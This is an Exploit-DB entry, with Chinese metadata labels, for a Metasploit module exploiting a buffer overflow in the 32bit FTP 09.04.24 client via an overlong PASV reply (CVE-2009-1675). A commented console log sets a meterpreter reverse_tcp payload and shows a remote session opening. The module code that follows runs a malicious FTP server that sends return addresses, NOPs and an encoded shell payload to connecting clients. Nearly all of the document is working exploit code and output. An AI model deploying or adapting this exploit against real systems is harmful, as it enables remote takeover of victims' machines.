标题: 32bit FTP - 'PASV' Reply Client Remote Overflow (Metasploit) EDB-ID: 8623 CVE: 2009-1675 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2009-05-07 漏洞利用脚本: #msf > use exploit/windows/ftp/32bitftp_pasv_reply
#msf exploit(32bitftp_pasv) > set PAYLOAD windows/meterpreter/reverse_tcp 
#PAYLOAD => windows/meterpreter/reverse_tcp                               
#msf exploit(32bitftp_pasv) > set LHOST 192.168.1.2 
#LHOST => 192.168.1.2                               
#msf exploit(32bitftp_pasv) > exploit               
#[*] Exploit running as background job.             
#msf exploit(32bitftp_pasv) >                       
#[*] Handler binding to LHOST 0.0.0.0               
#[*] Started reverse handler                        
#[*] Server started.    
# Victim connecting to the malicious ftp server.                            
#[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
#[*] Sending stage (2650 bytes)                                         
#[*] Sleeping before handling stage...                                  
#[*] Uploading DLL (75787 bytes)...                                     
#[*] Upload completed.                                                  
#[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1137)

##
# $Id: 32bitftp_pasv_reply.rb 6528 2009-05-06 16:00:00Z  $
##
##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => '32bit FTP (PASV) Reply Client Remote overflow Exploit',
   'Description'    => %q{
    This module exploits a buffer overflow in the 32bit FTP 09.04.24
    client that is triggered through an excessively long PASV reply command
   },
   'Author'   => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 6528 $',
   'References'     =>
    [
     [ 'URL', 'http://www.milw0rm.com/exploits/8611' ],
     [ 'BID', '34838' ],
    ],
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0a\x0d\x20",
     'EncoderType'   => Msf::Encoder::Type::AlphanumMixed, 
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
    # Tested against xp SP3 english
     [ 'Windows XP SP3 English', { 'Ret' => 0x7c868667 } ], # jmp esp kernel32.dll
     [ 'Windows XP SP2 French', { 'Ret' => 0x7C82385D } ], # call esp kernel32.dll
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Mai 06 2009',
   'DefaultTarget'  => 0))

  register_options(
   [ 
    OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
    OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
   ], self.class)
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil) 

  buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
  client.put(buffer)
 end
 
 def on_client_data(client)
 
 
  client.get_once

  user = "331 Please specify the password.\r\n"
  client.put(user)
  
  client.get_once
  pass = "230 Login successful.\r\n"
  client.put(pass)
  
  client.get_once
  pwd = "257 \"/\"\r\n"
  client.put(pwd)
  
  client.get_once
  type = "200 Switching to ASCII mode.\r\n"
  client.put(type)
    
  client.get_once
  pasv = "227 Entering Passive Mode ("
  pasv << rand_text_numeric(966)
  pasv << [target.ret].pack('V')
  pasv << make_nops(20)
  pasv << payload.encoded
  pasv << ")\r\n"
  
  client.put(pasv)
  
  handler(client)
  service.close_client(client)
 end
end

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8623